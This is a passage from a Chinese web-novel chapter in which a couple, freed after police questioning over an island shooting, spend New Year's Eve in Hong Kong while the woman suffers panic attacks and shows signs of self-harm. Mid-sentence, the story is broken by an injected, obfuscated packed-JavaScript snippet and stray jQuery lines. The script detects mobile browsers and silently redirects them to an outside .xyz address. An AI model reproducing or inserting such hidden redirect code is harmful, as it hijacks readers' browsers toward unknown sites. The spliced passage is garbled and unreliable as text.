警方抵达后迅速控制现场,两人被分开带走。转移的路上,有医生给云灯处理伤口,叽里呱啦地说话。
她起初以为是叶平川的人,要传递什么消息,打起精神来听。然后发现,只是旁观者在表达对这桩大案的好奇,问她发生了什么。
云灯疲惫地闭上眼睛,沉默以对。
另一边,叶平川满脑子都是她举枪对着自己的恐怖画面,还有她腿上可怕的伤,跟律师交谈中隔三岔五就要打断问问。
紧急赶来的律师主力是他父亲的至交好友,职业经验丰富,听完情况描述差点想掐死他。
其实把他从这桩案子里单独捞出来不算太难。但要是加上云灯,难度就完全不是一个层级了。
两人事实上已经解除了婚姻关系,云灯不再是,也没有理由是叶家力保的人。
叶平川就是清楚这点,怕她被撇开不管,才制造指纹证据,坚持宣称两人一起开枪。以最极端的方式,把两人的命运绑到了一起。
这样做风险巨大。他又不是叶家掌权人,更不是什么八代单传的独苗,叶家不是离了他就不能转的。如果云灯情况差到无力回天,家族权衡后连同他一起放弃的概率也很高。
律师团队里每个人都在头脑风暴。
针对两人的质询持续了数十个小时。没有时间对口供的情况下,云灯的说法和叶平川高度一致,给己方律师的辩护工作减少了难度。
她当然知道在这种时候,内讧是十分愚蠢的行为,于是顺着叶平川的行为声称自己被胁迫到岛上,限制了人身自由,开枪是迫不得已的自保行为。属于正当防卫。
加上傅谦明身上也带了枪,这说法很适合律师发挥。
她没有在两人开枪的问题上纠缠,而是趁势检举岛上的不正当交易。正赶上派对开得热火朝天,一抓一个准,其中有很多参与者是各国的政要议员,商界名流。
听到后面,警员对她的态度都变得和颜悦色。毕竟这桩国际大案涉案人员背景显赫,影响巨大,估计大半个警局都要因此立功升职。
可说得越多,她牵扯得就越深。
审讯室里,她一遍遍重复自己在过去的四年间未曾有过任何联系。她曾为傅谦明做事,但只是中间环节,并不清楚实际性质。并且那时,她自身也只是个容易受到蒙骗的未成年少女而已。
叶平川判断得没错。
他以身犯险不只为了威胁家族,更重要的是刺激云灯的求生意愿。
如果不是为了他能顺利脱身,云灯不会这样配合,尽力给自己洗清罪名。
三天两夜的漫长审讯结束,她和叶平川终于可以离开警局,但还没有完全解除嫌疑获许入境,只能暂住在港市的一处房产里。
这一天恰好是除夕。
家是回不去了。助理贴心地为他们装扮了房子,客厅里放了红色的抱枕和挂画,花瓶里也插着火红的北美冬青和大花蕙兰,恨不得再裁块红毯从门口铺到床头。力求热闹温馨,异地过年也得有氛围。
终于有了独处的机会。两人在进门处拥抱了很久。
云灯腿上缝了几十针,但吃下的镇痛药仍在起效,除了麻痹没什么太大感觉。任由他抱了好了一会儿,才问,“找到她了吗?”
叶平川顿了顿,低声说,“还没有。”
她真的是为那个女孩涉险的。
亲眼目睹,又串联前因后果验证后,叶平川才肯彻底相信这一点。
她把身边人的关系都经营得不远不近恰到好处,难道就是为了方便及时抽身?
作为结婚又离婚的前夫,叶平川自认为已经是离她最近的那一个。可原来她心里真正牵挂的人,是连提都舍不得提几回的。
她是什么时候决定自己跑回来救人的?杀青的那天?还是在对他撒谎说骆迎春已经死了的时候?
他始终都被排除在计划外。
“船夫的尸体找到了……一部分。”叶平川说,“骆迎春可能被冲到别的海域,有很多分布零碎的小岛。我会让他们扩大搜救范围,继续找的。”
太乐观了。云灯很清楚爆炸时的冲击力有多大,会让她的身体四分五裂,被洋流卷到不知名的海底。生还的可能性微乎其微。
“那好吧。”她说。
经历过生死时刻,她的反应太过平静。
平静得让人不安。
和律师警察周旋耗尽了精力,两个人都在低电量的状态里。助理走之前在餐桌上备好了晚饭。事已至此,还是先吃点东西再说。
虽然只是外卖,但在尚未完全脱离监管的条件下也没什么可挑剔的。叶平川简直要饿疯了,风卷残云似的填饱肚子。她平常饭量就小,这天基本也没怎么动筷。
过去的两天里他们都没有单独对话的机会,直到餐桌上才能交换信息。
叶平川最后一枪故意打偏。傅谦明还没死透,被第一时间送医抢救,同时因涉嫌拐卖和教唆未成年人□□易,走/私军/火等多项罪名被起诉。
“他应该还死不了,”叶平川说,“但也不会活很久。”
云灯点点头:“我明白。”
他是为了给律师留操作空间。傅谦明可以死,但不能死在她手里,正当防卫和防卫过当的处理结果相差很大。
但对傅谦明而言,差别就没那么大了。
岛上的监控不知窃听了多少各国机密情报,随便泄露一两件,都会引起轩然大波。以往那些机密是傅谦明拿捏权贵的把柄,但在当下,却会成为他的催命符。
事情闹开,往日的朋友都巴不得他立刻咽气,不要对警察多说一个字。即便能活着走出手术室,他也会被严密监管移交到监狱——甚至有可能在被送监的路上,就先“意外身亡”。毕竟太严密的地方总是不方便下手。
“但是,叶平川,”她不明白,“你怎么能这么快,就找到我这里来呢。”
“怎么找不来?”他朝云灯胸前指了指,用故作轻松的语气说,“我的心在你那里呢。”
气氛并没有轻松一点。
云灯表情淡淡的。
叶平川叹了口气,说,“我小叔也收到了邀请函。”
她便又点了点头,接受了这个说法。
“你给家里打电话吧。”她推开桌子起身,有意回避,“我去洗个澡。”
“小心伤口。”叶平川放下筷子,目光追随,感觉她走路都不太稳。怎么看怎么不放心。他跟到浴室门口,“我帮你擦背?”
云灯没说话,把门关上了。
赶在年关出了这么大事,当然是要给家里报个平安。叶平川在客厅转了一圈,调整情绪状态,顺手打开电视,播放网络春晚。
他们落脚的这栋房子从落地窗前能看到维港夜景,此时恰好放起了烟花。屋里屋外显得挺热闹,他坐在沙发上给家人打视频。
通话进行了十分钟,大概情况都解释清楚。他嘴上说得有条不紊,可心里担忧着浴室的动静,视线总往那个方向偏移。
云灯又不在镜头里。宋澄锦还能有什么不明白的,“没事就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15925365|163233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好,其他的等回到家慢慢说。好好休息,保养好身体,你们两个都是。”
“知道了妈。”
通完电话,叶平川又等了几分钟。外面的烟花声砰砰响,听久了让人心烦。
云灯还是没有从浴室里出来。
他坐立难安,忍不住过去试探着敲了敲门。没有人回应。
心里绷紧的弦啪地一下断了。
他踹开门,冲了进去。云灯正跪倒在地板上急促地喘/息,脸色惨白。
叶平川扯下浴巾裹住她抱出来,打了电话急召医生,等人上楼时先检查了一遍,确认她身上没有别的伤口。
云灯靠着他调整呼吸,晕眩和心悸的症状慢慢消退,只是还在一阵一阵地冒汗。
她被随即赶来的医生诊断为急性惊恐发作,好在躯体症状已经缓解,暂时没有大碍。
医生询问是否有应激事件发生。
叶平川瞬间想到了窗外的烟花,和渔船的爆炸很像。他在直升机上也看到了,看得心里猛颤。云灯离得更近,只会更害怕。
大腿上的伤口有崩裂的迹象,医生给她换了药,又开了些消炎和镇定剂才走。她觉得被碰过的地方很痒,用力抓了几下。原本就是易过敏的体质,抓过的皮肤立刻浮起鲜红的疹子。
她还想再抓,被叶平川捏着手拉开,拧了个冷毛巾敷上。另一条干毛巾拿来给她擦头发。
云灯问,“你刚才怕我在里面自/杀?”
“……”
“死在别人的房子里很没礼貌。”
叶平川心脏有点受不了,“谁房子里都不行!”
他们无法立刻离开这里,年节里烟花爆竹声又很频繁。叶平川每天提心吊胆,生怕一个没看住,老婆上不来气把自己憋晕过去。一边积极地对外交涉,一边寸步不离地盯着她。
但其实她也没做什么,只是睡觉而已。她说怕疼,所以镇定类药物加量地吃,每天有十几个小时都在昏睡。
醒着的时候,叶平川会找点别的事情来分散她的注意力。小助理帮忙买的早餐里几乎每天都有肠粉,还换着不同的餐馆买。她都说没味道,不好吃。
有一天,小助理不知从哪里搬回一台机器,说可以在家里试着自己做肠粉。
云灯终于有了点兴趣,走进从未踏足过的厨房,找需要用到的材料工具。只是在拿东西时,不小心打碎了一只碗。
叶平川立刻说没关系,叫她不要碰那些碎瓷片。她看着一地狼藉,心里有种很奇异的感觉。感觉它们被收拾走很可惜。
她不想做肠粉了,又对一切都失去了兴趣。直到隔天下午,她再次打碎了喝水的杯子,叶平川才发觉,那并不是不小心。
她的手抖得厉害,到了自己不能控制的地步,已经不单是因为惊恐发作才有的躯体化症状。她需要更专业的医生,更好的环境静养。
除此之外,她看碎瓷片时心动的眼神也让叶平川头皮发麻。更是没日没夜地催促各种流程,打通所有关节尽早回家。
两人在港滞留了一周。外面的舆论吵得天翻地覆,全世界新闻满天飞,云灯没有问过一句,似乎对外界全然不关心。所有事都交给他处理,连骆迎春的下落都没有再问过,只是一味地睡觉。
以至于叶平川也下意识地默认了,她会跟自己一起走。
归心似箭。总算到了重获自由的这天,他对外拒绝所有媒体的采访,回家的私人航线也申请下来,一切准备妥当。
云灯对他说,“我不想离开这里。”